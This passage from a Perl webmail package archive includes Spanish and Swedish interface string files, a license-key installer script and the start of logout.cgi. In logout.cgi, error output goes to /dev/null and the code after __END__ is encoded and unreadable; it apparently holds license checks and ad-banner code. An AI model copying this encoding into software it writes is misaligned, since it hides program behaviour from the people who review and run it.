$L{'Size'}=			"Tamaño";


$L{'To'}=			"Para";
$L{'From'}=			"De";
$L{'Subject'}=			"Asunto";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Archivo(s) Adjuntos";
$L{'Send E-Mail'}=		"Enviar Correo";
$L{'Clear Message Box Only'}=	"Borrar Bandeja de Mensajes Unicamente";
$L{'Attach Files To Your Message (Optional)'}="Adjuntar Archivos al Mensaje (Opcional)";
$L{'Clear Message Box Only'}=	"Borrar Texto de Mensaje Unicamente";
$L{'Webmail Address Book'}=	"Libreta de Direcciones Webmail";
$L{'Edit Existing E-Mail Addresses'}="Editar Direcciones de Correo Existentes";
$L{'Error: Login Failed'}=	"Error: Falla de Login";
$L{'loginerrmsg'}=		"Falla de Login: Clave de usuario o password erróneo. Por favor intente de nuevo...";
$L{'logintimeout'}=		" minutos han pasado desde su última entrada. Por favor Ingrese de nuevo...";
$L{'Select All Messages'}=	"Seleccionar Todos los Mensajes";

$L{'Delete Selected Messages From Mail Server'}="Borrar todos los Mensajes Seleccionados del Servidor de Correo";

$L{'logoutconftitle'}=		"Confirmación de Salida";
$L{'logoutconfmsg1'}=		"Usted ha salido exitósamente de Webmail.";
$L{'logoutconfmsg2'} = "Por favor cierre su Navegador.";
$L{'Confirmation Message'}="Mensaje de Confirmación";

$L{'Your Message Has Been SENT to the Following Recipients'}="Su mensaje ha sido ENVIADO a las siguientes cuentas";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Su mensaje NO PUDO SER ENVIADO a las siguientes cuentas";

$L{'Original Message'}="Mensaje Original";
$L{'Return to Original Message'}="Regresar al Mensaje Original";
$L{'Address To Selected Users'}= "Direccionar a los Usuarios Seleccionados";

$L{'address_note'}="<b>Nota: </b>Libretas de Direcciones con muchas entradas pueden tomar varios segundos para actualizar los campos de Para:, Cc: y Bcc: ";

$L{'Reply'}=			"Responder";
$L{'Reply All'}=		"Responder a Todos";
$L{'Forward'}=			"Remitir";
$L{'Previous'}=			"Anterior";
$L{'Delete'}=			"Borrar";
$L{'Next'}=			"Siguiente";
$L{'Webmail Error Message'}=	"Mensaje de Error Correo-Webmail";
$L{'Back to Previous Page'}=	"Volver a la Página Anterior";
$L{'Compose'}=			"Crear Mensaje";
$L{'Compose E-Mail'}=		"Crear Correo Nuevo";
$L{'Mail Box'}=			"Buzon de Correo";
$L{'Next Message'}=		"Siguiente Mensaje";
$L{'adupconf'}=			"Su Libreta de Direcciones ha sido actualizada exitósamente!<br>La nueva Libreta de Direcciones se muestra abajo.";
$L{'Return'} = "Regresar";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Su mensaje NO PUDO SER ENVIADO a las siguientes cuentas";

$L{'Click on the links (in blue) to send email to one person only.'} = "Click en los links (en azul) para enviar a una persona únicamente.";

# 3.14 additons

$L{'Replay'} = "Replay";

# 3.26 additions

$L{'Set Preferences'}="Configurar Preferencias";
$L{'Preferences'}="Preferencias";
$L{'Your Name'}="Escriba Su Nombre";
$L{'Your E-Mail Address'}="Escriba su Dirección E-Mail";
$L{'Your Signature'}="Escriba su Firma";
$L{'Update Preferences'}="Actualizar Preferencias";
$L{'REQUIRED'}="REQUERIDO";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Usuario";
$L{'Password'}="Password";
$L{'Log Into Your E-Mail Account!!'}="Ingrese a su cuenta E-Mail!!";
$L{'UGuide'}="Guía de Usuario (English)";
$L{'Bug Reports'}="Reporte de Fallas";

$L{'UPDATEALWAYS'}="Chequee su E-Mail y borre los mensajes del Servidor de Correo cada vez que la casilla de Correo es mostrada (La opción de desborrar NO está disponible).";
$L{'UPDATELOGIN'}="Chequee su E-Mail y borre los mensajes del Servidor de Correo al Ingresar únicamente (La opción de Desborrar está disponible).";

$L{'Messages Deleted from Mail Server'}="Mensajes Borrados del Servidor de Correo";
$L{'New Messages'}="Nuevos Mensajes";


$L{'PREFINTRO1'}="Los Mensajes son borrados del Servidor de Correo al Salir.";
$L{'PREFINTRO2'}="Si olvida SALIR, los Mensajes serán borrados la siguiente vez que intente INGRESAR.";
$L{'PREFINTRO3'}="Los mensajes pueden ser DES_BORRADOS a través del Boton \"Des-Borrar\".";
$L{'PREFINTRO4'}="El Servidor de Correo Consultado por NUEVOS mensajes cada vez que la Casilla de Correo se Muestre.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Guardar Dirección";
$L{'Download Attachment'}=      "Descargar Archivo Adjunto";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Mensajes de Entrada";
$L{'Saved Outgoing Messages'} =  "Mensajes de Salida Guardados";
$L{'Save Outgoing Message'}   =  "Guardar Mensajes de Salida";

# end 3.41 additions

return %L;

}
1;
wm357/language.swedish.cgi100644    312    144       12610  7245677670  14731 0ustar  webmailuserssub get_language {

# Sebastian Lippman <admin@zebcom.com>

my %L;

#
# MAKE SURE you leave html markups in...
#

$L{CHARSET} = 'iso-8859-1';

$L{'Back'}=			"Tillbaka";
$L{'Error: Login Expired'}=	"Fel: Ny inloggning krävs";
$L{'Un-Delete'}=		"Återställ";
$L{'Mail Box : 0 E-Mails'}=	"Brevlåda: 0 E-post";
$L{'Update Confirmation'}=	"Ändra Inställningar?";
$L{'Log In'}=			"Logga In";
$L{'Log Out'}=			"Logga Ut";
$L{'Webmail Address Book'}=	"Webmail Adressbok";
$L{'Add E-Mail Addresses'}=	"Lägg till E-post Adresser";
$L{'Name'}=			"Namn";
$L{'Address'}=			"Adress";
$L{'Addresses'}=		"Adresser";
$L{'Address Book'}=		"Adressbok";
$L{'Open Address Book'}=	"Öppna Adressbok";
$L{'Edit Address Book'}=	"Redigera Adressbok";
$L{'Update Address Book'}=	"Updatera Adressbok";
$L{'Cancel'}=			"Avbryt";
$L{'Web Based E-Mail'}=		"Webb Baserad E-post";
$L{'Date'}=			"Datum";
$L{'Size'}=			"Storlek";


$L{'To'}=			"Till";
$L{'From'}=			"Från";
$L{'Subject'}=			"Ämne";
$L{'Cc'}=			"Cc";
$L{'Bcc'}=			"Bcc";


$L{'Attached'}=			"Bifogad";
$L{'Send E-Mail'}=		"Skicka E-post";
$L{'Clear Message Box Only'}=	"Radera endast brevfältet";
$L{'Attach Files To Your Message (Optional)'}="Bifoga filer till ditt brev (Valfritt)";
$L{'Clear Message Box Only'}=	"Radera endast brevlåda";
$L{'Webmail Address Book'}=	"Webmail Adressbok";
$L{'Edit Existing E-Mail Addresses'}="Redigera befintliga E-post Adresser";
$L{'Error: Login Failed'}=	"Fel: Inloggning Misslyckades";
$L{'loginerrmsg'}=		"Inloggning Misslyckades: Fel användarnamn eller lösenord. Var vänlig försök igen...";
$L{'logintimeout'}=		" minuter sen senaste inloggningen.  Var vänlig logga in på nytt...";
$L{'Select All Messages'}=	"Markera Alla Brev";

$L{'Delete Selected Messages From Mail Server'}="Radera Markerade Brev Från E-post Servern";

$L{'logoutconftitle'}=		"Utloggnings bekräftelse";
$L{'logoutconfmsg1'}=		"Du är nu utloggad.";
$L{'logoutconfmsg2'}=		"Var vänlig stäng din webbläsare.";
$L{'Confirmation Message'}="Bekräftelse meddelande";

$L{'Your Message Has Been SENT to the Following Recipients'}="Ditt brev är SKICKAT till följande mottagare";

$L{'Your Message Could NOT be Sent to the Following Recipients'}="Ditt brev kunde INTE skickas till följande mottagare";

$L{'Original Message'}="Ursprungligt Brev";
$L{'Return to Original Message'}="Återvänd till det ursprungliga brevet";
$L{'Address To Selected Users'}= "Adressera Till Markerade Användare";

$L{'address_note'}="<b>OBS: </b>Adressböcker med många namn tar några minuter för att updatera Till:, Cc: and Bcc: fälten.";

$L{'Reply'}=			"Svara";
$L{'Reply All'}=		"Svara Alla";
$L{'Forward'}=			"Vidarebefordra";
$L{'Previous'}=			"Föregående";
$L{'Delete'}=			"Radera";
$L{'Next'}=			"Nästa";
$L{'Webmail Error Message'}=	"Webmail Felmeddelande";
$L{'Back to Previous Page'}=	"Tillbaka till föregående sida";
$L{'Compose'}=			"Skapa nytt";
$L{'Compose E-Mail'}=		"Skapa nytt E-brev";
$L{'Mail Box'}=			"Brevlåda";
$L{'Next Message'}=		"Nästa Brev";
$L{'adupconf'}=			"Din adressbok är nu updaterad!<br>Den nya adressboken visas nedan.";
$L{'Return'} = "Tillbaka";

$L{'Your Message Could NOT be Sent to the Following Recipients'} = "Ditt brev kunde INTE skickas till följande mottagare"; 

$L{'Click on the links (in blue) to send email to one person only.'} = "Klicka på länkarna (blå) för att skicka brev till endast en mottagare.";

# 3.14 additons

$L{'Replay'} = "Upprepa";

# 3.26 additions

$L{'Set Preferences'}="Ändra Inställningar";
$L{'Preferences'}="Inställningar";
$L{'Your Name'}="Ditt Namn";
$L{'Your E-Mail Address'}="Din E-post Adress";
$L{'Your Signature'}="Din Signatur";
$L{'Update Preferences'}="Updatera Inställningar";
$L{'REQUIRED'}="KRÄVS";
$L{'YOURSIG'}="\r\n\r\n$L{'Your Name'}"; # do not translate this line!

$L{'User Name'} ="Användarnamn";
$L{'Password'}="Lösenord";
$L{'Log Into Your E-Mail Account!!'}="Logga in till din E-post!!!";
$L{'UGuide'}="Användarmanual (Engelska)";
$L{'Bug Reports'}="Rapportera Buggar";

$L{'UPDATEALWAYS'}="Kontrollera E-post och radera gamla brev från servern varje gång brevlådan visas (Återställ fungerar ej i detta fall).";
$L{'UPDATELOGIN'}="Kontrollera E-post och radera gamla brev från servern endast vid inloggning (Återställ fungerar).";

$L{'Messages Deleted from Mail Server'}="Breven raderade från servern";
$L{'New Messages'}="Nya Brev";


$L{'PREFINTRO1'}="Breven raderas från servern vid UTLOGGNING.";
$L{'PREFINTRO2'}="Om du glömmer att LOGGA-UT raderas breven vid nästa INLOGGNING.";
$L{'PREFINTRO3'}="Brev kan återställas via brevlådans \"Återställ\" knapp.";
$L{'PREFINTRO4'}="Nya brev på servern kontrolleras varje gång brevlådan visas.";

# 3.29 additions

$L{'POP Server Connect Error'} = "POP Server Connect Error";
$L{'Unable to connect to POP server'} = "Unable to connect to POP server";
$L{'SMTP (sendmail) Server Connect Error'} = "SMTP (sendmail) Server Connect Error";
$L{'Unable to connect to SMTP (sendmail) server'}="Unable to connect to SMTP (sendmail) server";

# end 3.29 additions...

# version 3.40 additions (cleaning up some mess!)
# special thanks to Kasper for bringing this to our attention...!

$L{'Save Address'}=             "Spara Adress";
$L{'Download Attachment'}=      "Ladda ner bifogad fil";

# end 3.40 additions

# begin 3.41 additions

$L{'Incoming Messages'}       =  "Inkommande Meddelanden";
$L{'Saved Outgoing Messages'} =  "Utgående Meddelanden Sparade";
$L{'Save Outgoing Message'}   =  "Spara Utgående Meddelanden";

# end 3.41 additions

return %L;

}
1;
wm357/license.pl100755    312    144        3150  7245677670  12756 0ustar  webmailusers#!/usr/bin/perl

require "./params.cgi";

print "\n";
print "Enter your license : ";
chomp(my $lic=<STDIN>);
$lic =~ s/^\s+//;
$lic =~ s/\s+$//;

# read in params.cgi and substitute license 

open(FH,"<./params.cgi");
while (<FH>) {
 /params\{LIC\}/ && s/".+"/"$lic"/;
 push(@params,$_);
}
close FH;

# get permissions on params.cgi prior to writing...

my ($dev,$inode,$mode) = stat("./params.cgi"); #returns mode in base 10
my $oct = sprintf("%o",$mode); # converts mode to octal
($oct =~ /(....)$/) && ($perm = $1); # only need last 4 digits in decimal!
$perm=oct($perm); # convert back to base 10 for chmod

# write out params.cgi with license info and restore original permissions..

open(FH,">./params.cgi");
$"=''; print FH "@params";
close FH;
chmod($perm,"./params.cgi");

# zero out ads.html and trailers.txt (remove ads and trailers)

print "\nRemove ads and trailers? (y/n) [y] : ";
chomp(my $rem=<STDIN>);
!$rem && ($rem = 'y');

my %P = &get_params;

if ($rem eq 'y') {
   rename("$P{WEBMAILDIR}/ads.html","$P{WEBMAILDIR}/ads.html.sav");
   open(FH,">$P{WEBMAILDIR}/ads.html");
   close FH;
   chmod(0644,"$P{WEBMAILDIR}/ads.html");
   rename("$P{WEBMAILDIR}/trailers.txt","$P{WEBMAILDIR}/trailers.txt.sav");
   open(FH,">$P{WEBMAILDIR}/trailers.txt");
   close FH;
   chmod(0644,"$P{WEBMAILDIR}/trailers.txt");
   print "\n*** Ads and trailer text have been removed ***\n";
}

print<<HEREDOC;

Instructions for tailoring ads and trailers:

> cd $P{WEBMAILDIR}

> vi ads.html.bkup
> vi trailers.txt.bkup
> cp trailers.txt.bkup trailers.txt
> cp ads.html.bkup ads.html
> chmod 644 ads.html trailers.txt

** THE END **

HEREDOC
wm357/logout.cgi100644    312    144      112313  7245677670  13033 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use IO::Socket;


require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
;?2`C(&5N9"!S=6(@:7-?;&EC96YS960N+BX*
1<W5B('5R;%]T;U]H97@@>PH`
/;7D@*"1I;BD@/2!`7SL*
-;7D@)'-U;2`](#`["@``
.<&]S*"1I;BD@/2`P.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'-U;2`K/2!O<F0H)#$I.PH`
"?0H`
?<F5T=7)N('5C*'-P<FEN=&8H(B5X(BPD<W5M*2D["@``
"?0H`
/<W5B('!R:6YT7V%D('L*
:;7D@*"1L87-T860L)&%L:6=N*2`]($!?.PH`
(;7D@)&ED.PH`
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
3:68@*"1L87-T860@/"`P*2!["@``
,)&ED(#T@=&EM93L*
)?2!E;'-E('L*
1)&ED(#T@*RLD;&%S=&%D.PH`
"?0H`
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
2)%![041)1'T](FUM=VTQ(CL*
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP="(^"@``
%/"$M+0H`
6=F%R(&YO=R`](&YE=R!$871E*"D["@``
M=F%R('5A:60@/2!N;W<N9V5T5&EM92@I("4@36%T:"YF;&]O<B@X-C0P,#`P
8("T@36%T:"YR86YD;VTH*2HQ,#`P*3L*
M9&]C=6UE;G0N=W)I=&4H)SQI9G)A;64@<W)C/2)H='1P.B\O9F]C=7-I;BYA
M9',N=&%R9V5T;F5T+F-O;2]A9"]I9#TD4'M!1$E$?29O<'0]:&AJ)F-V/3(Q
M,"9U:60])R`K('5A:60@*R`G(B!H96EG:'0]-C`@=VED=&@]-#8X(&9R86UE
M8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R9VEN=VED=&@],"!S8W)O;&QI
,;F<](FYO(CXG*3L*
M9&]C=6UE;G0N=W)I=&4H)SQA(&AR968](FAT='`Z+R]F;V-U<VEN+F%D<RYT
M87)G971N970N8V]M+V%D+VED/210>T%$241])F]P=#UC:6HF8W8],C$P)G5I
B9#TG("L@=6%I9"`K("<B('1A<F=E=#TB7W1O<"(^)RD["@``
M9&]C=6UE;G0N=W)I=&4H)R`@("`\:6UG('-R8STB:'1T<#HO+V9O8W5S:6XN
M861S+G1A<F=E=&YE="YC;VTO860O:60])%![041)1'TF;W!T/6AI:B9C=CTR
M,3`F=6ED/2<@*R!U86ED("L@)R(@86QT/2)#;&EC:R!H97)E('1O('9I<VET
M(&]U<B!S<&]N<V]R(B!W:61T:#TT-C@@:&5I9VAT/38P(&)O<F1E<CTP/B<I
".PH`
M9&]C=6UE;G0N=W)I=&4H)SPO83X\8G(^/&9O;G0@9F%C93TB87)I86PB('-I
M>F4](C$B/CQA(&AR968](FAT='`Z+R]W=W<N9F]C=7-I;BYC;VTB/F9O8W5S
M24X@4W!E8VEA;'1Y(%=E8B!.971W;W)K/"]A/CPO9F]N=#X\+VEF<F%M93XG
#*3L*
&+R\M+3X*
*/"]S8W)I<'0^"@``
+/&YO<V-R:7!T/@H`
M/&EF<F%M92!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M
M+V%D+VED/210>T%$241])F]P=#UH:&XF8W8],C$P)G5I9#TQ(B!H96EG:'0]
M-C`@=VED=&@]-#8X(&9R86UE8F]R9&5R/3`@;6%R9VEN:&5I9VAT/3`@;6%R
;9VEN=VED=&@],"!S8W)O;&QI;F<](FYO(CX*
M/&$@:')E9CTB:'1T<#HO+V9O8W5S:6XN861S+G1A<F=E=&YE="YC;VTO860O
M:60])%![041)1'TF;W!T/6-I;B9C=CTR,3`F=6ED/3$B('1A<F=E=#TB7W1O
(<"(^/&)R/@H`
M/&EM9R!S<F,](FAT='`Z+R]F;V-U<VEN+F%D<RYT87)G971N970N8V]M+V%D
M+VED/210>T%$241])F]P=#UH:6XF8W8],C$P)G5I9#TQ(B!A;'0](D-L:6-K
M(&AE<F4@=&\@=FES:70@;W5R('-P;VYS;W(B('=I9'1H/30V."!H96EG:'0]
--C`@8F]R9&5R/3`^"@``
M/"]A/CQB<CX\9F]N="!F86-E/2)A<FEA;"(@<VEZ93TB,2(^/&$@:')E9CTB
M:'1T<#HO+W=W=RYF;V-U<VEN+F-O;2(^9F]C=7-)3B!3<&5C:6%L='D@5V5B
=($YE='=O<FL\+V$^/"]F;VYT/CPO:69R86UE/@H`
,/"]N;W-C<FEP=#X*
(2$52141/0PH`
M?2!E;'-E('L@(R!I9B!L:6-E;G-E9"P@<')I;G0@860@:'1M;"!I;B!^=V5B
2;6%I;"]A9',N:'1M;"XN+BX*
E:68@*"`M<R`B)%![5T5"34%)3$1)4GTO861S+FAT;6PB*2!["@``
D;W!E;BA&2"PB)%![5T5"34%)3$1)4GTO861S+FAT;6PB*3L*
.=VAI;&4H/$9(/BD@>PH`
=*"]>7',J7&XD+R!\?"`O7B,O*2`F)B!N97AT.PH`
2<R]53DE1545)1"\D:60O9SL*
'<')I;G0["@``
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
,<F5T=7)N("1I9#L*
4?2`C(&5N9"!P<FEN=%]A9"XN+@H`
:<W5B('!R:6YT7V)A;FYE<F-O;W!?860@>PH`
:;7D@*"1A;&EG;BPD8V]O<&ED*2`]($!?.PH`
/;7D@)&ED(#T@=&EM93L*
*;&]C86P@)%\["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
<<')I;G0@(CQP(&%L:6=N/21A;&EG;CY<;B(["@``
8;7D@)&QI8R`]("9I<U]L:6-E;G-E9#L*
-:68@*"$D;&EC*2!["@``
0<')I;G0\/$A%4D5$3T,["@``
A/"$M+2!"96=I;B!"86YN97(@0V\M3W`@0V]D92`M+3X*
$/%`^"@``
M/%1!0DQ%($%,24=./21A;&EG;B!"3U)$15(](C`B($-%3$Q0041$24Y'/2(P
?(B!#14Q,4U!!0TE.1STB,"(@5TE$5$@](C4P,"(^"@``
%/%12/@H`
?/%1$(%=)1%1(/2(R-3`B($%,24=./2)224=(5"(^"@``
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+VQE9G0O861S7VYO;G-S:2YP;#]A9'9E<G0]3F]N4U-))G!A9V4]
2;6]H;&5R92XD8V]O<&ED(CX*
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]L969T+V%D<U]N;VYS<VDN<&P_240];6]H;&5R929P86=E/6UO
/:&QE<F4N)&-O;W!I9"(*
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
>/%1$(%=)1%1(/2(R-3`B($%,24=./2),1494(CX*
M/$$@2%)%1CTB:'1T<#HO+W=W=RYB86YN97)C;RUO<"YC;VTO8V=I+6)I;B]A
M9',N;F5W+W)I9VAT+V%D<U]N;VYS<VDN<&P_861V97)T/4YO;E-3229P86=E
3/6UO:&QE<F4N)&-O;W!I9"(^"@``
M/$E-1R!34D,](FAT='`Z+R]W=W<N8F%N;F5R8V\M;W`N8V]M+V-G:2UB:6XO
M861S+FYE=R]R:6=H="]A9'-?;F]N<W-I+G!L/TE$/6UO:&QE<F4F<&%G93UM
0;VAL97)E+B1C;V]P:60B"@``
M5TE$5$@](C(U,"(@2$5)1TA4/2(W,B(@04Q)1TX](D)/5%1/32(@04Q4/2)"
L86YN97)C;RUO<"!"86YN97(@17AC:&%N9V4B($)/4D1%4CTB,"(^/"]!/@H`
&/"]41#X*
&/"]44CX*
)/"]404),13X*
?/"$M+2!%;F0@0F%N;F5R($-O+4]P($-O9&4@+2T^"@``
(2$52141/0PH`
"?0H`
0<')I;G0@(CPO<#Y<;B(["@``
??2`C(&5N9"!P<FEN=%]B86YN97)C;V]P7V%D+BXN"@``
.<W5B(&=E=&%D;F\@>PH`
/;7D@*"1I;BD@/2!`7SL*
.<&]S*"1I;BD@/2`P.PH`
+;7D@)'1O=#TP.PH`
9=VAI;&4@*"1I;B`]?B`O*"XI+V=S*2!["@``
1)'1O="`K/2!O<F0H)#$I.PH`
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
#,3L*
7<W5B(&=E=%]H96%D97)?;&EN97,@>PH`
:;7D@*"1C;VQO;BQ`:&5A9&5R*2`]($!?.PH`
*;7D@)&1E<V,["@``
.;7D@0&QI;F5S/2@I.PH`
*;&]C86P@)%\["@``
09F]R("A`:&5A9&5R*2!["@``
?+UXH6UQW+5TK/SHI+R`F)B`H)&1E<V,@/2`D,2D["@``
J*"1D97-C(#U^("]>)&-O;&]N+VDI("8F('!U<V@H0&QI;F5S+"1?*3L*
"?0H`
/<F5T=7)N($!L:6YE<SL*
"?0H`
3<W5B(&=E=%]R96-?:&%S:"!["@``
0;7D@*"1R96,I(#T@0%\["@``
-8VAO;7`H)')E8RD["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
);7D@)&D],#L*
M=VAI;&4@*"`H)&D\0&9I96QD<RD@)B8@*"1F:65L9'-;)&E=(#U^("]>5D%2
)7"\O*2`I('L*
I*"1D97-C+"1V86PI(#T@<W!L:70H+SHO+"1F:65L9'-;)&E=+#(I.PH`
6)&1E<V,@/7X@<R]>5D%27"\O+V\["@``
5)&AA<VA[)&1E<V-](#T@)'9A;#L*
&)&DK*SL*
"?0H`
.<F5T=7)N("5H87-H.PH`
"?0H`
4<W5B(&=E=%]A;&Q?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
2;7D@0&US9U]P87)T<STH*3L*
?;7D@*"1F;W)M870L)&9I;&5N86UE+"1F:65L9"D["@``
>;7D@0&9I;&5S(#T@<W!L:70H+UQ\+RPD<F5C*3L*
:9F]R96%C:"`D9FEE;&0@*$!F:6QE<RD@>PH`
::68@*"1F:65L9"`A?B`O7E9!4EPO+RD@>PH`
K*"1F;W)M870L)&9I;&5N86UE*2`]('-P;&ET*"\Z+RPD9FEE;&0L,BD["@``
3<'5S:"!`;7-G7W!A<G1S+"!["@``
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
"?0H`
"?0H`
3<F5T=7)N($!M<V=?<&%R=',["@``
"?0H`
><W5B(&=E=%]T97AT7V%N9%]H=&UL7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H)&9O<FUA="`]?B!M(RAT97AT+VAT;6Q\=&5X="]P;&%I;GQ>;65S
M<V%G92\I(VDI("8F("@D8F%S96YA;64@/7X@+UXH;7-G+7QM;5PN*2\I("D@
">PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
#?3L*
)?2!E;'-E('L*
&;&%S=#L*
"?0H`
"?0H`
4<F5T=7)N($!T97AT7W!A<G1S.PH`
"?0H`
5<W5B(&=E=%]T97AT7V9I;&5S('L*
6;7D@*$!M<V=?<&%R=',I(#T@0%\["@``
,;7D@)&9O<FUA=#L*
.;7D@)&9I;&5N86UE.PH`
.;7D@)&)A<V5N86UE.PH`
3;7D@0'1E>'1?<&%R=',]*"D["@``
=9F]R96%C:"`D<&%R="`H0&US9U]P87)T<RD@>PH`
;)&9O<FUA="`]("1P87)T+3Y[1D]234%4?3L*
?)&9I;&5N86UE(#T@)'!A<G0M/GM&24Q%3D%-17T["@``
7)&)A<V5N86UE(#T@)&9I;&5N86UE.PH`
8)&)A<V5N86UE(#U^(',O7BXJ7"\O+SL*
M:68@*"`H("@D9F]R;6%T(#U^("]T97AT7"]P;&%I;B]I*2!\?"`H)&9O<FUA
M="`]?B`O7FUE<W-A9V5<+R]I*2`I("8F("@D8F%S96YA;64@/7X@+UXH;7-G
.+7QM;5PN*2\I("D@>PH`
4<'5S:"!`=&5X=%]P87)T<RP@>PH`
31D]234%4(#T^("1F;W)M870L"@``
71DE,14Y!344@/3X@)&9I;&5N86UE+`H`
